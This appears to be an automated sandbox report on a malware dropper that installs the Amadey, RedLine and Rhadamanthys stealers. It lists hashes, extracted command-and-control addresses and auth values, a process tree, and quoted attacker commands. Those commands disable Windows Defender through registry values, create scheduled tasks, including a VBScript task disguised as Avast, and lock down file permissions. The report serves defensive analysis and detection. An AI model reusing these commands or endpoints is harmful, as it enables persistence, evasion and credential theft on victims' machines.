amadey | b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73

Analysis

max time kernel
104s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
05-02-2023 13:19

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General

Target

b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe
Size

861KB
MD5

d0fb516eefd84f2596140d356f77f4bd
SHA1

43c1e8c1cb9ae76a67cea0d2b439c3a39cf69eb2
SHA256

b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73
SHA512

85285084195b04283d888777c12aefd131cb0bacab12be7881a364d760244bf68bdeb954ea39a98b8adc8381f4c94abdc9868ebee870b3e3ec6f4a8a4949e901
SSDEEP

12288:tG7Vy90Mh46tYe7pVDDoYPxzTjKfilIizzcZDVGdqRi8fUYUdFNu7GrQWuJr9tmO:Kyvu6x3IszcZR5oYULk7AQWstSqn

Score

10^/10

amadey redline rhadamanthys ringo ringo1 temposs6678 discovery evasion infostealer persistence spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

3.66

62.204.41.4/Gol478Ns/index.php

Extracted

Family

redline

Botnet

ringo

176.113.115.16:4122

Attributes

auth_value
b8f864b25d84b5ed5591e4bfa647cdbe

Extracted

Family

redline

Botnet

ringo1

176.113.115.16:4122

Attributes

auth_value
373b070fb57b7689445f097000cbd6c2

Extracted

Family

redline

Botnet

temposs6678

82.115.223.9:15486

Attributes

auth_value
af399e6a2fe66f67025541cf71c64313

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect rhadamanthys stealer shellcode 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2796-196-0x00000000004C0000-0x00000000004DD000-memory.dmp	family_rhadamanthys
behavioral1/memory/2796-204-0x00000000004C0000-0x00000000004DD000-memory.dmp	family_rhadamanthys

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

loda.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	loda.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	loda.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

sbriv.exemnolyk.exeyt.exeAvast security.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	sbriv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	mnolyk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	yt.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	Avast security.exe

Executes dropped EXE 12 IoCs

Processes:

fhokj.exeloda.exesbriv.exemnolyk.exeyt.exeAvast security.exeringo.exeringo1.exetrebo.exetrebo1.exemnolyk.exemnolyk.exe

pid	process
948	fhokj.exe
4336	loda.exe
1412	sbriv.exe
2120	mnolyk.exe
2176	yt.exe
4352	Avast security.exe
5016	ringo.exe
2012	ringo1.exe
2948	trebo.exe
2796	trebo1.exe
2536	mnolyk.exe
2828	mnolyk.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

4088 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Windows security modification 2 TTPs 1 IoCs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Processes:

loda.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" loda.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4088	rundll32.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	loda.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exefhokj.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	fhokj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	fhokj.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

trebo1.exe

pid process

2796 trebo1.exe
2796 trebo1.exe
2796 trebo1.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

ringo1.exe

description pid process target process

PID 2012 set thread context of 2684 2012 ringo1.exe AppLaunch.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2796	trebo1.exe
2796	trebo1.exe
2796	trebo1.exe

description	pid	process	target process
PID 2012 set thread context of 2684	2012	ringo1.exe	AppLaunch.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

trebo1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	trebo1.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	trebo1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	trebo1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	trebo1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	trebo1.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4376 schtasks.exe

pid	process
4376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

loda.exeyt.exeAvast security.exeAppLaunch.exetrebo.exeringo.exe

pid	process
4336	loda.exe
4336	loda.exe
2176	yt.exe
4352	Avast security.exe
2684	AppLaunch.exe
2948	trebo.exe
2948	trebo.exe
2684	AppLaunch.exe
5016	ringo.exe
5016	ringo.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

loda.exeyt.exeAvast security.exeAppLaunch.exetrebo.exetrebo1.exeringo.exe

description	pid	process
Token: SeDebugPrivilege	4336	loda.exe
Token: SeDebugPrivilege	2176	yt.exe
Token: SeDebugPrivilege	4352	Avast security.exe
Token: SeDebugPrivilege	2684	AppLaunch.exe
Token: SeDebugPrivilege	2948	trebo.exe
Token: SeShutdownPrivilege	2796	trebo1.exe
Token: SeCreatePagefilePrivilege	2796	trebo1.exe
Token: SeDebugPrivilege	5016	ringo.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exefhokj.exesbriv.exemnolyk.execmd.exeyt.execmd.exeAvast security.execmd.exeringo1.exe

description	pid	process	target process
PID 4876 wrote to memory of 948	4876	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe	fhokj.exe
PID 4876 wrote to memory of 948	4876	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe	fhokj.exe
PID 4876 wrote to memory of 948	4876	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe	fhokj.exe
PID 948 wrote to memory of 4336	948	fhokj.exe	loda.exe
PID 948 wrote to memory of 4336	948	fhokj.exe	loda.exe
PID 948 wrote to memory of 1412	948	fhokj.exe	sbriv.exe
PID 948 wrote to memory of 1412	948	fhokj.exe	sbriv.exe
PID 948 wrote to memory of 1412	948	fhokj.exe	sbriv.exe
PID 1412 wrote to memory of 2120	1412	sbriv.exe	mnolyk.exe
PID 1412 wrote to memory of 2120	1412	sbriv.exe	mnolyk.exe
PID 1412 wrote to memory of 2120	1412	sbriv.exe	mnolyk.exe
PID 4876 wrote to memory of 2176	4876	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe	yt.exe
PID 4876 wrote to memory of 2176	4876	b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe	yt.exe
PID 2120 wrote to memory of 4376	2120	mnolyk.exe	schtasks.exe
PID 2120 wrote to memory of 4376	2120	mnolyk.exe	schtasks.exe
PID 2120 wrote to memory of 4376	2120	mnolyk.exe	schtasks.exe
PID 2120 wrote to memory of 4296	2120	mnolyk.exe	cmd.exe
PID 2120 wrote to memory of 4296	2120	mnolyk.exe	cmd.exe
PID 2120 wrote to memory of 4296	2120	mnolyk.exe	cmd.exe
PID 4296 wrote to memory of 4772	4296	cmd.exe	cmd.exe
PID 4296 wrote to memory of 4772	4296	cmd.exe	cmd.exe
PID 4296 wrote to memory of 4772	4296	cmd.exe	cmd.exe
PID 4296 wrote to memory of 2588	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 2588	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 2588	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 532	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 532	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 532	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 1404	4296	cmd.exe	cmd.exe
PID 4296 wrote to memory of 1404	4296	cmd.exe	cmd.exe
PID 4296 wrote to memory of 1404	4296	cmd.exe	cmd.exe
PID 4296 wrote to memory of 1512	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 1512	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 1512	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 4880	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 4880	4296	cmd.exe	cacls.exe
PID 4296 wrote to memory of 4880	4296	cmd.exe	cacls.exe
PID 2176 wrote to memory of 4032	2176	yt.exe	cmd.exe
PID 2176 wrote to memory of 4032	2176	yt.exe	cmd.exe
PID 4032 wrote to memory of 4352	4032	cmd.exe	Avast security.exe
PID 4032 wrote to memory of 4352	4032	cmd.exe	Avast security.exe
PID 4352 wrote to memory of 3392	4352	Avast security.exe	cmd.exe
PID 4352 wrote to memory of 3392	4352	Avast security.exe	cmd.exe
PID 2120 wrote to memory of 5016	2120	mnolyk.exe	ringo.exe
PID 2120 wrote to memory of 5016	2120	mnolyk.exe	ringo.exe
PID 2120 wrote to memory of 5016	2120	mnolyk.exe	ringo.exe
PID 3392 wrote to memory of 2028	3392	cmd.exe	cscript.exe
PID 3392 wrote to memory of 2028	3392	cmd.exe	cscript.exe
PID 2120 wrote to memory of 2012	2120	mnolyk.exe	ringo1.exe
PID 2120 wrote to memory of 2012	2120	mnolyk.exe	ringo1.exe
PID 2120 wrote to memory of 2012	2120	mnolyk.exe	ringo1.exe
PID 2012 wrote to memory of 2684	2012	ringo1.exe	AppLaunch.exe
PID 2012 wrote to memory of 2684	2012	ringo1.exe	AppLaunch.exe
PID 2012 wrote to memory of 2684	2012	ringo1.exe	AppLaunch.exe
PID 2012 wrote to memory of 2684	2012	ringo1.exe	AppLaunch.exe
PID 2012 wrote to memory of 2684	2012	ringo1.exe	AppLaunch.exe
PID 2120 wrote to memory of 2948	2120	mnolyk.exe	trebo.exe
PID 2120 wrote to memory of 2948	2120	mnolyk.exe	trebo.exe
PID 2120 wrote to memory of 2948	2120	mnolyk.exe	trebo.exe
PID 2120 wrote to memory of 2796	2120	mnolyk.exe	trebo1.exe
PID 2120 wrote to memory of 2796	2120	mnolyk.exe	trebo1.exe
PID 2120 wrote to memory of 2796	2120	mnolyk.exe	trebo1.exe
PID 2120 wrote to memory of 4088	2120	mnolyk.exe	rundll32.exe
PID 2120 wrote to memory of 4088	2120	mnolyk.exe	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe
"C:\Users\Admin\AppData\Local\Temp\b1de4e7d05c80b8b358b4e6d164ae1945fe7834dffc6f0845c3fa0aef1e77f73.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fhokj.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fhokj.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\loda.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\loda.exe
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Executes dropped EXE
    - Windows security modification
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4336
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sbriv.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sbriv.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe
      "C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2120
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4376
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "Admin:N"&&CACLS "mnolyk.exe" /P "Admin:R" /E&&echo Y|CACLS "..\4b9a106e76" /P "Admin:N"&&CACLS "..\4b9a106e76" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4296
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4772
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "mnolyk.exe" /P "Admin:N"
        6⤵
        
        PID:2588
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "mnolyk.exe" /P "Admin:R" /E
        6⤵
        
        PID:532
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1404
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\4b9a106e76" /P "Admin:N"
        6⤵
        
        PID:1512
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\4b9a106e76" /P "Admin:R" /E
        6⤵
        
        PID:4880
    - - C:\Users\Admin\AppData\Local\Temp\1000005001\ringo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\ringo.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
    - - C:\Users\Admin\AppData\Local\Temp\1000006001\ringo1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000006001\ringo1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2012
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684
    - - C:\Users\Admin\AppData\Local\Temp\1000007001\trebo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000007001\trebo.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2948
    - - C:\Users\Admin\AppData\Local\Temp\1000008001\trebo1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000008001\trebo1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Checks SCSI registry key(s)
        Suspicious use of AdjustPrivilegeToken
        
        PID:2796
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:4088
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\yt.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\yt.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Avast security.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Avast security.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Avast security.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4352
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Avast corporation" : regInfo.Description="Avast security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\Admin\AppData\Roaming\Microsoft\Avast security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Avast security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > "C:\Users\Admin\AppData\Local\Temp\tmpA26F.vbs" & cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmpA26F.vbs" & del /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmpA26F.vbs" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3392
      - C:\Windows\system32\cscript.exe
        
        cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmpA26F.vbs"
        6⤵
        
        PID:2028

C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe
C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe
1⤵
- Executes dropped EXE
PID:2536

C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe
C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe
1⤵
- Executes dropped EXE
PID:2828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1000005001\ringo.exe

Filesize
175KB

MD5
c76e3716d9d343b0872cf797ce01f709

SHA1
0417c50355a6bad66d259b3f13a9a60909456eee

SHA256
303f13b5ed84a78dc78632d8cee77b8908e102729678e876cbe152546b28b128

SHA512
5da6e027f25f2ff1b28a0e36f07b185fe7b2c83d3620eef08eb2fc94dda7bf432ff9d719ab6bb0ab5f1acc5efc99af9d78236fc9d2db78f6adfac69020b63151

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\ringo.exe

Filesize
175KB

MD5
c76e3716d9d343b0872cf797ce01f709

SHA1
0417c50355a6bad66d259b3f13a9a60909456eee

SHA256
303f13b5ed84a78dc78632d8cee77b8908e102729678e876cbe152546b28b128

SHA512
5da6e027f25f2ff1b28a0e36f07b185fe7b2c83d3620eef08eb2fc94dda7bf432ff9d719ab6bb0ab5f1acc5efc99af9d78236fc9d2db78f6adfac69020b63151

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006001\ringo1.exe

Filesize
3.6MB

MD5
3db5b3c6e6e98e56271d016946d638c9

SHA1
e5af6fc83bdb31f02d81614fe3d5152c2c0be13e

SHA256
e6c73532d36c90b32f2e7633fd41cefad7d4b87292f6b60a41ad24e859ecbca1

SHA512
3af665c9546dd342f13696e807e2f66ebabad92e5e6cff3d50ae0860af5dd1398826ec936dbc37a42521c74750094decd139c01f7906b9a9fb808641dcb4f9b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006001\ringo1.exe

Filesize
3.6MB

MD5
3db5b3c6e6e98e56271d016946d638c9

SHA1
e5af6fc83bdb31f02d81614fe3d5152c2c0be13e

SHA256
e6c73532d36c90b32f2e7633fd41cefad7d4b87292f6b60a41ad24e859ecbca1

SHA512
3af665c9546dd342f13696e807e2f66ebabad92e5e6cff3d50ae0860af5dd1398826ec936dbc37a42521c74750094decd139c01f7906b9a9fb808641dcb4f9b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000007001\trebo.exe

Filesize
175KB

MD5
acf54cfad4852b63202ba4b97effdd9e

SHA1
cc7456e4b78957fc2d013cec39b30ea7ed8dbaa2

SHA256
f4bfa9f592a953ba496c92d14b1ef1698ada62b9cb547e6a0843ced061fb6e8e

SHA512
d9f3d31b55b60f9f09dd7fe26f0f40db21db9b3253fef1c416ced30bab396d161e89375096032311f6c4199fabd156f75670fd6598789868bd8cf1e9f463699b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000007001\trebo.exe

Filesize
175KB

MD5
acf54cfad4852b63202ba4b97effdd9e

SHA1
cc7456e4b78957fc2d013cec39b30ea7ed8dbaa2

SHA256
f4bfa9f592a953ba496c92d14b1ef1698ada62b9cb547e6a0843ced061fb6e8e

SHA512
d9f3d31b55b60f9f09dd7fe26f0f40db21db9b3253fef1c416ced30bab396d161e89375096032311f6c4199fabd156f75670fd6598789868bd8cf1e9f463699b

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000008001\trebo1.exe

Filesize
220KB

MD5
4b304313bfc0ce7e21da7ae0d3c82c39

SHA1
60745879faa3544b3a884843e368e668acbb6fa9

SHA256
623839847e3aa9ceda27ced8b2b29b2d4545384bc3a322eaeedd04d5d04b65bd

SHA512
2da2ec584ccde77ec35cab398272e60ec69eda24491030119110f0e389067d322cd08a04a3bdbbbeff85f43c0d739ae10a6a549e2d7a14854d1109db8d313001

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000008001\trebo1.exe

Filesize
220KB

MD5
4b304313bfc0ce7e21da7ae0d3c82c39

SHA1
60745879faa3544b3a884843e368e668acbb6fa9

SHA256
623839847e3aa9ceda27ced8b2b29b2d4545384bc3a322eaeedd04d5d04b65bd

SHA512
2da2ec584ccde77ec35cab398272e60ec69eda24491030119110f0e389067d322cd08a04a3bdbbbeff85f43c0d739ae10a6a549e2d7a14854d1109db8d313001

Download Submit
C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Filesize
236KB

MD5
8bb923c4d81284daef7896e5682df6c6

SHA1
67e34a96b77e44b666c5479f540995bdeacf5de2

SHA256
9b0410052289a8416a458401fbb9a74d6361f4769465431b209f32151d7c6f21

SHA512
2daed03277a343db5fcb22e26baea5cda41de39dc825fe0aad51f6ec181b8f38f09427f27fb58ffd179f37032600d107ef772cc6275f7d0d62899c6cd3f8aff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Filesize
236KB

MD5
8bb923c4d81284daef7896e5682df6c6

SHA1
67e34a96b77e44b666c5479f540995bdeacf5de2

SHA256
9b0410052289a8416a458401fbb9a74d6361f4769465431b209f32151d7c6f21

SHA512
2daed03277a343db5fcb22e26baea5cda41de39dc825fe0aad51f6ec181b8f38f09427f27fb58ffd179f37032600d107ef772cc6275f7d0d62899c6cd3f8aff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Filesize
236KB

MD5
8bb923c4d81284daef7896e5682df6c6

SHA1
67e34a96b77e44b666c5479f540995bdeacf5de2

SHA256
9b0410052289a8416a458401fbb9a74d6361f4769465431b209f32151d7c6f21

SHA512
2daed03277a343db5fcb22e26baea5cda41de39dc825fe0aad51f6ec181b8f38f09427f27fb58ffd179f37032600d107ef772cc6275f7d0d62899c6cd3f8aff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Filesize
236KB

MD5
8bb923c4d81284daef7896e5682df6c6

SHA1
67e34a96b77e44b666c5479f540995bdeacf5de2

SHA256
9b0410052289a8416a458401fbb9a74d6361f4769465431b209f32151d7c6f21

SHA512
2daed03277a343db5fcb22e26baea5cda41de39dc825fe0aad51f6ec181b8f38f09427f27fb58ffd179f37032600d107ef772cc6275f7d0d62899c6cd3f8aff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fhokj.exe

Filesize
235KB

MD5
c96205915dbfa60587d06d3909f4d366

SHA1
9a93f296faeba2630ae4ac896c43792bf2319162

SHA256
b5a0403fdb350aee0dd834444ba7284807b5138dfc7a91237da71e494fb874e8

SHA512
3e7ad5d73c9756f2f65ca53b4e4c37863525cef3562593581cc73c669e2676ba6f25fbcbbb47c02b39e94d11ede70ef4b6a1afb053d60369fed5f99cc6f2e766

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\fhokj.exe

Filesize
235KB

MD5
c96205915dbfa60587d06d3909f4d366

SHA1
9a93f296faeba2630ae4ac896c43792bf2319162

SHA256
b5a0403fdb350aee0dd834444ba7284807b5138dfc7a91237da71e494fb874e8

SHA512
